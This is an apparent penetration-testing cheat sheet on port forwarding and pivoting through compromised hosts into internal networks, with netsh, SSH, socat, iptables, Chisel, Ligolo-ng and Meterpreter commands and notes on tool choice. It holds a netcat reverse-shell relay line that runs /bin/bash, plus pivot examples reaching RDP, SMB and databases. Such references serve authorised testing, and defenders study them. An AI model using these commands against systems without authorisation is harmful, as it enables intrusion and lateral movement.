Port Forwarding Forward network traffic from one port to another to access internal services through compromised hosts. Essential for accessing services on internal networks that are not directly reachable from the attacker machine.
Windows Port Forwarding Netsh (Native Windows) Add Port Forward # Forward local port 8080 to remote host netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0 .0 .0 .0 connectport=80 connectaddress=172 .16 .5 .10 # Forward specific interface netsh interface portproxy add v4tov4 listenport=8080 listenaddress=10 .10 .10 .10 connectport=3389 connectaddress=172 .16 .5 .20
List Port Forwards netsh interface portproxy show all netsh interface portproxy show v4tov4
Delete Port Forward # Delete specific forward netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0 .0 .0 .0 # Delete all forwards netsh interface portproxy reset
Firewall Rules for Port Forward # Allow inbound traffic on forwarded port netsh advfirewall firewall add rule name="Port Forward 8080 " protocol=TCP dir =in localport=8080 action=allow
PLink (Putty Link) Local Port Forward # Forward local 3389 to remote RDP plink.exe -L 3389 :172 .16 .5 .10 :3389 user@10 .10 .10 .10 -pw password # Background process plink.exe -N -L 3389 :172 .16 .5 .10 :3389 user@10 .10 .10 .10 -pw password
Remote Port Forward # Forward remote 8080 to local 80 plink.exe -R 8080 :127 .0 .0 .1 :80 user@10 .10 .10 .10 -pw password
Dynamic Port Forward (SOCKS) # Create SOCKS proxy plink.exe -D 1080 user@10 .10 .10 .10 -pw password
SSH (Windows 10+) Local Port Forward ssh -L 8080 :172.16 .5.10 :80 user@10.10 .10.10 ssh -L 8080 :172.16 .5.10 :80 -L 3389 :172.16 .5.20 :3389 user@10.10 .10.10
Remote Port Forward ssh -R 4444 :127.0 .0.1 :4444 user@10.10 .10.10
Dynamic Port Forward ssh -D 1080 user@10.10 .10.10
Linux Port Forwarding SSH Port Forwarding Local Port Forward ssh -L 8080:172.16.5.10:80 user@10.10.10.10 ssh -L 0.0.0.0:8080:172.16.5.10:80 user@10.10.10.10 ssh -L 8080:172.16.5.10:80 -L 3389:172.16.5.20:3389 user@10.10.10.10 ssh -f -N -L 8080:172.16.5.10:80 user@10.10.10.10
Remote Port Forward ssh -R 8080:127.0.0.1:80 user@10.10.10.10 ssh -R 0.0.0.0:8080:127.0.0.1:80 user@10.10.10.10 ssh -f -N -R 8080:127.0.0.1:80 user@10.10.10.10
Dynamic Port Forward (SOCKS) ssh -D 1080 user@10.10.10.10 ssh -D 0.0.0.0:1080 user@10.10.10.10 ssh -f -N -D 1080 user@10.10.10.10
Socat Basic Port Forward socat TCP-LISTEN:8080,fork TCP:172.16.5.10:80 socat TCP-LISTEN:8080,bind =10.10.10.10,fork TCP:172.16.5.10:80
Reverse Shell Relay socat TCP-LISTEN:4444,fork TCP:10.10.14.5:4444 nc -lvnp 4444 nc 172.16.5.10 4444 -e /bin/bash
Encrypted Port Forward openssl req -newkey rsa:2048 -nodes -keyout server.key -x509 -days 365 -out server.crt cat server.key server.crt > server.pemsocat OPENSSL-LISTEN:443,cert=server.pem,verify=0,fork TCP:172.16.5.10:80 socat TCP-LISTEN:8080,fork OPENSSL:10.10.10.10:443,verify=0
IPTables Port Forward with IPTables echo 1 > /proc/sys/net/ipv4/ip_forwardsysctl -w net.ipv4.ip_forward=1 iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 172.16.5.10:80 iptables -t nat -A POSTROUTING -p tcp -d 172.16.5.10 --dport 80 -j MASQUERADE iptables -t nat -L -n -v iptables -t nat -D PREROUTING 1 iptables -t nat -D POSTROUTING 1
Rinetd Configuration apt-get install rinetd nano /etc/rinetd.conf 0.0.0.0 8080 172.16.5.10 80 0.0.0.0 3389 172.16.5.20 3389 systemctl restart rinetd systemctl status rinetd
Netcat Relay Simple Port Forward mkfifo /tmp/pipenc -l -p 8080 < /tmp/pipe | nc 172.16.5.10 80 > /tmp/pipe while true ; do nc -l -p 8080 -c "nc 172.16.5.10 80" ; done
Meterpreter Port Forward Local Port Forward meterpreter> portfwd add -l 3389 -p 3389 -r 172.16.5.10 meterpreter> portfwd add -l 8080 -p 80 -r 172.16.5.10 meterpreter> portfwd list meterpreter> portfwd delete -l 3389 meterpreter> portfwd flush
Reverse Port Forward meterpreter> portfwd add -R -l 8080 -p 80 -L 127.0.0.1
Chisel Port Forwarding Local Port Forward ./chisel server -p 9001 ./chisel client 10.10.10.10:9001 8080:172.16.5.10:80 curl http://127.0.0.1:8080
Remote Port Forward ./chisel server --reverse -p 1234 ./chisel client 10.10.14.5:1234 R:9090:127.0.0.1:8080 curl http://127.0.0.1:9090
Ligolo-ng Port Forwarding Add Listener listener_add --addr 0.0.0.0:8080 --to 172.16.5.10:80 --tcp listener_add --addr 0.0.0.0:1337 --to 10.10.14.5:8000 --tcp
List and Delete Listeners listener_list listener_del
Common Scenarios RDP Access Through Pivot Windows (Netsh) # On pivot host netsh interface portproxy add v4tov4 listenport=3389 listenaddress=0 .0 .0 .0 connectport=3389 connectaddress=172 .16 .5 .10 # On attacker xfreerdp /v:10 .10 .10 .10 :3389 /u:administrator /p:password
Linux (SSH) ssh -L 3389:172.16.5.10:3389 user@10.10.10.10 xfreerdp /v:127.0.0.1:3389 /u:administrator /p:password
Web Service Access Forward HTTP ssh -L 8080:172.16.5.10:80 user@10.10.10.10 http://127.0.0.1:8080
Forward HTTPS ssh -L 8443:172.16.5.10:443 user@10.10.10.10 https://127.0.0.1:8443
Database Access MySQL ssh -L 3306:172.16.5.10:3306 user@10.10.10.10 mysql -h 127.0.0.1 -u root -p
MSSQL ssh -L 1433:172.16.5.10:1433 user@10.10.10.10 mssqlclient.py sa:password@127.0.0.1
SMB Access ssh -L 445:172.16.5.10:445 user@10.10.10.10 smbclient -L //127.0.0.1 -U administrator
Notes Netsh Advantages:
Native Windows tool
No additional software required
Persistent across reboots
Supports IPv4 and IPv6
Netsh Limitations:
Requires administrator privileges
Only forwards TCP traffic
No encryption
Firewall rules may be needed
SSH Port Forwarding:
Encrypted by default
Supports TCP only
Can forward multiple ports
Dynamic (SOCKS) and static options
Requires SSH access
Socat:
Very flexible
Supports TCP and UDP
Can encrypt traffic
Bidirectional relay
Single binary
IPTables:
Kernel-level forwarding
Very fast
Requires root access
Persistent configuration needed
Complex syntax
Tool Selection:
Netsh - Windows native, simple setup
SSH - Encrypted, cross-platform
Socat - Flexible, can encrypt
IPTables - Fast, kernel-level
Metasploit - Integrated with framework
Chisel - Cross-platform, firewall-friendly
Ligolo-ng - Fast, feature-rich
Common Pitfalls:
Forgetting to allow firewall rules
Binding to wrong interface (127.0.0.1 vs 0.0.0.0)
Port conflicts
Not enabling IP forwarding (Linux)
Incorrect port numbers
Missing authentication
Performance:
IPTables is fastest (kernel-level)
SSH adds encryption overhead
Socat is efficient
Netsh is native and fast
Metasploit adds framework overhead
Persistence:
Netsh forwards persist across reboots
SSH forwards require reconnection
IPTables rules need to be saved
Rinetd runs as service
Socat needs process management
Security Considerations:
Port forwards bypass firewall rules
Can expose internal services
SSH provides encryption
Netsh has no encryption
Monitor for unauthorized forwards
Clean up after engagement
Troubleshooting:
Verify port is listening: netstat -an | grep PORT
Check firewall rules
Test connectivity with telnet/nc
Verify IP forwarding enabled (Linux)
Check for port conflicts
Use verbose mode for debugging